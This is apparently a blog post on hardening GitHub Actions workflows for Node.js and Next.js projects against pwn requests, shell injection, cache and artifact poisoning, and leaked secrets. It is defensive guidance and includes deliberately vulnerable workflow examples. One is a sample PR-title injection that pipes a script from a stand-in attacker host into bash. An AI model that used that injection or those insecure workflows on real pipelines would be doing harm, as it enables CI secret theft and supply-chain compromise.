← Back to Blog
GitHub ActionsCI/CD SecurityNode.jsNext.jsSupply ChainDevSecOpsnpm

Securing GitHub Actions for Node.js and Next.js: Pwn Requests, Cache Poisoning, and npm Provenance [2026]

Your CI Pipeline Is the Highest-Value Target in the Repository

Most Node.js and Next.js security advice stops at the application: escape user input, validate the body, set the cookie flags. That is necessary, and it is also where teams stop thinking. Meanwhile, a single YAML file in .github/workflows/ holds a GITHUB_TOKEN that can write to the repository, an NPM_TOKEN that can publish your package to the registry your customers install from, cloud credentials that can reach production, and a deploy key that ships whatever the workflow decides to ship.

That combination is why CI/CD is not a build detail but the highest-value target in a modern JavaScript repository. A bug in your API leaks one tenant's data. A compromised pipeline leaks everything, and it does so with your signature — the artifact is signed, the provenance attestation is valid, the release notes are real. Downstream, npm install pulls it without a warning.

This article is a practical hardening pass over GitHub Actions for Node.js and Next.js projects. Every rule below maps to an attack that has worked in the wild, and every fix is a workflow diff you can apply today.

The Root Cause: Untrusted Input Reaching a Privileged Job

Almost every CI/CD compromise reduces to one sentence: an attacker-controlled value reached a job that had privileges it should not have. The attacker is usually an outside contributor who opened a pull request, and the privileged job is usually whatever runs with secrets.

The problem is that GitHub Actions makes the safe thing slightly less convenient than the unsafe thing. The list of values an attacker can influence in a public repository is long, and none of them look dangerous in a YAML file:

  • github.event.pull_request.title, .body, .head.ref, .head.label
  • github.event.issue.title, .body
  • github.event.comment.body, github.event.review.body
  • github.event.pages[].page_name (on gollum events)
  • github.head_ref (the branch name of a fork PR)
  • github.event.workflow_run.head_branch
  • Any commit message, and any filename in a checkout of a fork

Some of those become code (interpolated into a run: step). Others become paths (used in actions/checkout or a tar command). Others become cache keys. Treat all of them as hostile strings, because that is what they are.

Rule 1: Never Combine pull_request_target with a Checkout of Untrusted Code

This is the classic "pwn request", and it still lands. The pull_request_target trigger was designed to give maintainers a way to label or comment on fork pull requests with a write token. What it actually does is run the workflow in the context of the base repository, with a read/write GITHUB_TOKEN and access to repository secrets. That is fine as long as the workflow never executes code from the fork.

The moment you check out the contributor's code, you have handed an anonymous stranger your secrets:

yaml
# BAD — a textbook pwn request
name: PR Preview

on: pull_request_target          # runs with secrets and a write token

jobs:
  preview:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          # Untrusted: whatever the PR author wants to run
          ref: ${{ github.event.pull_request.head.sha }}
          # The write token is left in .git/config by default
      - run: npm ci              # runs the fork's postinstall scripts
      - run: npm run build       # runs the fork's build scripts

Nothing here requires a clever exploit. The contributor adds a postinstall script to package.json that POSTs process.env to a server they control, opens a PR, and the workflow dutifully runs it with the NPM_TOKEN and the deploy key in the environment. This is not theoretical: it is the pattern behind a long list of real incidents at companies that otherwise had solid application security.

The fix is to split the workflow by trust level. Untrusted code runs in an unprivileged workflow that has no secrets; the privileged workflow consumes only its output, and only after validation:

yaml
# .github/workflows/pr.yml — untrusted, no secrets, read-only token
name: PR checks

on: pull_request                 # forks get no secrets and a read-only token

permissions:
  contents: read

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
        with:
          persist-credentials: false
      - uses: actions/setup-node@39370e3970a6d050c480ffad4ff0ed4d3fdee5af # v4.1.0
        with:
          node-version: 22
          cache: npm
      - run: npm ci --ignore-scripts
      - run: npm test -- --run
      - run: npm run build
      - uses: actions/upload-artifact@b4b15b8c7c6ac21ea08fcf65892d2ee8f75cf882 # v4.4.3
        with:
          name: dist
          path: |
            .next/standalone
            .next/static
          if-no-files-found: error
          retention-days: 3
yaml
# .github/workflows/comment.yml — privileged, NEVER executes the fork's code
name: PR preview comment

on:
  workflow_run:
    workflows: ["PR checks"]
    types: [completed]

permissions:
  contents: read
  pull-requests: write

jobs:
  comment:
    if: github.event.workflow_run.event == 'pull_request'
    runs-on: ubuntu-latest
    steps:
      # workflow_run provides the PR number as numeric metadata, which is safe
      # to interpolate. Never interpolate a branch name or a title here.
      - run: |
          echo "Run ${{ github.event.workflow_run.id }} finished: ${{ github.event.workflow_run.conclusion }}"

Note what the privileged workflow does not do: it does not download the artifact and execute it, and it does not npm install anything from the PR. The moment a privileged job runs code that came from a pull request, the split buys you nothing.

If you genuinely need pull_request_target for labeling, keep the workflow to actions/labeler and actions/github-script on the PR metadata only, with no checkout step at all.

Rule 2: Route Untrusted Values Through env, Never Through ${{ }} Inside run:

The second most common finding is direct interpolation of untrusted context into a shell step. GitHub Actions expands ${{ ... }} before the shell sees the script, so the value becomes part of your script text:

yaml
# BAD — the PR title is now part of the shell script
- name: Announce
  run: echo "Deploying ${{ github.event.pull_request.title }}"

Set the PR title to "; curl -s https://attacker.example/p.sh | bash # and the workflow executes attacker code with the job's token. Subshell execution, variable expansion, and $(...) all work because the interpolation happens before bash parses anything.

The fix is to pass the value as an environment variable, so it is data and never script text:

yaml
# GOOD — the value is data, not code
- name: Announce
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: printf 'Deploying %s\n' "$PR_TITLE"

Use env: for every untrusted context, and prefer printf over echo when you are printing arbitrary strings. The same rule applies to reusable workflows: pass untrusted values as inputs with an explicit type: string, and continue to reference them through env inside the called workflow.

Rule 3: Set permissions Explicitly and Grant the Token Nothing by Default

The default GITHUB_TOKEN scope depends on the repository or organization setting, and being wrong about which one applies to you is a security bug in itself. Do not rely on the default. Declare it at the top of every workflow and widen it per job only where needed:

yaml
name: Release

on:
  push:
    tags: ["v*"]

# Deny everything by default; jobs opt back in explicitly.
permissions: {}

jobs:
  publish:
    runs-on: ubuntu-latest
    permissions:
      contents: write        # create the GitHub release
      id-token: write        # OIDC for npm trusted publishing
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
        with:
          persist-credentials: false
      - uses: actions/setup-node@39370e3970a6d050c480ffad4ff0ed4d3fdee5af # v4.1.0
        with:
          node-version: 22
          registry-url: https://registry.npmjs.org
      - run: npm ci --ignore-scripts
      - run: npm run build
      - run: npm publish --provenance --access public

permissions: {} at the top means that if someone later adds a step or a third-party action to the publish job, it does not silently inherit contents: write. Because any action you call inherits your token, this is also the control that limits the blast radius of a compromised dependency in your workflow — the subject of the next rule.

Also set persist-credentials: false on any checkout whose job does not need to push. By default, checkout stores the token in the local git configuration, and any later step can read it.

Rule 4: Pin Every Third-Party Action to a Commit SHA

uses: actions/checkout@v4 is not a version pin — it is a pointer to a mutable Git tag. Whoever can write to that repository can move v4 to any commit they like, and your next run executes it. This is not hypothetical: in March 2025 an attacker compromised the widely used tj-actions/changed-files action, repointed its version tags at a malicious commit, and exfiltrated CI runner secrets into workflow logs across thousands of repositories (CVE-2025-30066). A related pair of tags in reviewdog/action-setup was compromised in the same campaign (CVE-2025-30154). Teams that had pinned SHAs were unaffected; teams that had pinned tags were not.

yaml
# BAD — a mutable tag
- uses: actions/checkout@v4

# GOOD — a 40-character commit SHA with the version in a comment
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

The usual objection is maintenance, and it is a solved problem. Let Dependabot pin and update them for you, so you get security updates as reviewable pull requests instead of silent tag movement:

yaml
# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"
    open-pull-requests-limit: 5
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "daily"
    groups:
      prod-deps:
        dependency-type: "production"

The same reasoning applies to docker:// images referenced by digest, to reusable workflows (uses: owner/repo/.github/workflows/x.yml@<sha>), and to any curl | bash install script hidden inside a composite action. If you cannot pin it to a digest or a SHA, do not run it in a job that has secrets.

Defense in depth for the same threat: npm ci --ignore-scripts (or --foreground-scripts to at least log what runs) in CI prevents a malicious transitive dependency from executing during install, and npm ci instead of npm install guarantees the lockfile is obeyed.

Rule 5: Cache and Artifact Poisoning

Caches and artifacts are data channels between jobs, and data channels can carry an attacker's payload.

Cache poisoning. A cache written by an untrusted workflow can be restored by a privileged one if the keys overlap. Broad restore-keys make that overlap likely: a PR workflow that populates npm-<os>- prefixes, or a privileged release job that restores with a prefix instead of an exact key, can pull a poisoned node_modules into a job that then publishes it.

yaml
# RISKY — restore-keys makes a cache written by another run reachable here
- uses: actions/cache@6849a6489940f00c2f30c0fb92c6274307ccb58a # v4.1.2
  with:
    path: ~/.npm
    key: npm-${{ runner.os }}-${{ hashFiles('package-lock.json') }}
    restore-keys: |
      npm-${{ runner.os }}-

Guidance: in privileged workflows, never restore a cache that an untrusted workflow can write, and never cache node_modules — cache the package manager's download directory (~/.npm) and reinstall with npm ci so the lockfile decides what actually lands. If you use restore-keys, keep the prefix specific enough that only trusted runs produce it.

Artifact poisoning. A workflow_run job that downloads an artifact produced by a PR workflow and then publishes or deploys it has moved the trust boundary without noticing. The artifact may contain a modified dist/, a tampered package.json, or a node_modules tree with a backdoored dependency. Two rules follow: transfer only build outputs (never node_modules, never lockfiles, never scripts), and — for anything that reaches a registry or production — rebuild from source in the privileged workflow with npm ci rather than trusting the uploaded files.

yaml
# The artifact is evidence, not authority: verify it, then rebuild.
- uses: actions/download-artifact@fa0a91b85d4f404e444e00e005971372dc801d16 # v4.1.8
  with:
    name: dist
    path: ./dist-from-pr
- name: Verify the artifact came from the expected commit
  env:
    HEAD_SHA: ${{ github.event.workflow_run.head_sha }}
  run: |
    test -f ./dist-from-pr/build-info.json
    grep -qF "$HEAD_SHA" ./dist-from-pr/build-info.json
- name: Rebuild from a trusted ref before publishing
  run: |
    git checkout main
    npm ci --ignore-scripts
    npm run build

For artifacts you distribute, actions/attest-build-provenance lets you publish a signed provenance attestation so downstream consumers can verify which workflow and which commit produced the artifact — the same mechanism npm publish --provenance uses.

Rule 6: Keep Untrusted Code Off Persistent Runners

GitHub-hosted runners are ephemeral: they are created for the job and destroyed after it. Self-hosted runners are not, unless you have built them that way. A persistent runner that executes a fork's code is a persistence foothold: the attacker can modify the runner's toolchain, leave a file in a shared workspace, read whatever credentials the runner itself holds, or poison a shared Docker layer that the next job uses.

If you self-host for cost or for hardware reasons, then: never attach them to public repositories, always run them in ephemeral, single-use mode (Kubernetes-driven runner deployments with --ephemeral, or an autoscaling group that destroys the instance after each job), and give them an instance role that can do exactly one thing. If you run untrusted code on a persistent runner, assume the runner is compromised after the first malicious pull request.

Rule 7: Replace Long-Lived Secrets with OIDC

Static secrets are the reason a CI compromise becomes a cloud compromise. An AWS_SECRET_ACCESS_KEY or an NPM_TOKEN in repository secrets is a credential with an unlimited lifetime that a leaked log line can expose forever.

Both cloud providers and npm now support workload identity federation, so the workflow gets short-lived credentials that expire in minutes and are bound to the repository and the ref that requested them:

yaml
jobs:
  deploy:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      id-token: write          # the ONLY thing needed to mint short-lived credentials
    environment: production
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
        with:
          persist-credentials: false
      - uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2
        with:
          role-to-assume: arn:aws:iam::123456789012:role/gha-deploy
          aws-region: us-east-1
          # No long-lived keys anywhere in the repository.
      - run: ./scripts/deploy.sh

For npm, trusted publishing removes the NPM_TOKEN entirely: configure the publisher on npmjs.com for the repository and workflow, grant id-token: write, and publish with --provenance. The registry verifies the OIDC token, and the published package carries an attestation linking it to the exact commit and workflow that built it. Then delete the old token from repository secrets and revoke it in the registry, because a token that still works is still a target.

If a vendor only supports static credentials, treat them as a break-glass exception: scoped to a single resource, rotated on a schedule, stored in an environment-scoped secret rather than a repository secret, and never available to a workflow that runs untrusted code.

Rule 8: Put Production Behind a Protected Environment

environment: gives you an approval gate that sits between "the workflow decided to deploy" and "the workflow deployed". Required reviewers, a wait timer, and a branch restriction turn a compromised push credential into a request that a human can refuse.

yaml
jobs:
  deploy:
    runs-on: ubuntu-latest
    environment:
      name: production
      url: https://app.example.com   # required reviewers configured in repo settings

Combine it with concurrency so two deploys cannot race, and with a if: github.ref == 'refs/heads/main' guard so a tag pushed by a compromised token cannot reach production without review.

Rule 9: Make the Pipeline Observable

You cannot review what you cannot see. Two low-cost controls pay for themselves:

  • Egress auditing. step-security/harden-runner in audit mode records every network destination the job contacts at DNS and IP level, which is how you find the exfiltration step that a compromised action added. Baseline it for a week, then switch to block mode with an allowlist.
  • A reviewable diff for workflow changes. Add .github/workflows/** to CODEOWNERS so any change to pipeline logic requires a security or platform review, and turn on branch protection requiring those reviews. The YAML is production code; treat changes to it the way you treat changes to auth/.

Hardening Checklist

  • [ ] No pull_request_target workflow checks out or executes PR code.
  • [ ] Fork PRs run with no secrets and a read-only token; privileged follow-ups use workflow_run and never execute PR artifacts.
  • [ ] Every untrusted github.* value reaches run: through env:, never through ${{ }} interpolation.
  • [ ] Top-level permissions: {} (or contents: read) with per-job opt-in; persist-credentials: false where you do not push.
  • [ ] Every third-party action, reusable workflow, and container image is pinned to a 40-character SHA or a digest, and Dependabot keeps them current.
  • [ ] npm ci (not npm install) everywhere, --ignore-scripts where the build allows it.
  • [ ] Privileged jobs never restore a cache written by an untrusted workflow; node_modules is never cached.
  • [ ] Artifacts crossing a trust boundary are validated or re-built, and published artifacts carry a provenance attestation.
  • [ ] No self-hosted runners attached to public repositories; any self-hosted runner is ephemeral and single-use.
  • [ ] Cloud and registry access uses OIDC; no long-lived NPM_TOKEN or cloud keys remain in repository secrets.
  • [ ] Production deploys sit behind a protected environment with required reviewers.
  • [ ] .github/workflows/** is in CODEOWNERS, and egress auditing is enabled.

What to Do This Week

Start with the diff that removes the most risk: search every workflow for pull_request_target, for ${{ github.event. inside run:, and for uses: lines without a 40-character SHA. Those three greps find the majority of exploitable pipelines. Then move the shop: delete the long-lived tokens in favour of OIDC, and put environment: production in front of the deploy job. Everything else is hardening — those three are the difference between a pipeline that survives a malicious pull request and one that quietly publishes it.

Share this article:TwitterLinkedIn
JS

JS Security Audit

Audits led by a senior JavaScript security engineer with 10+ years of experience.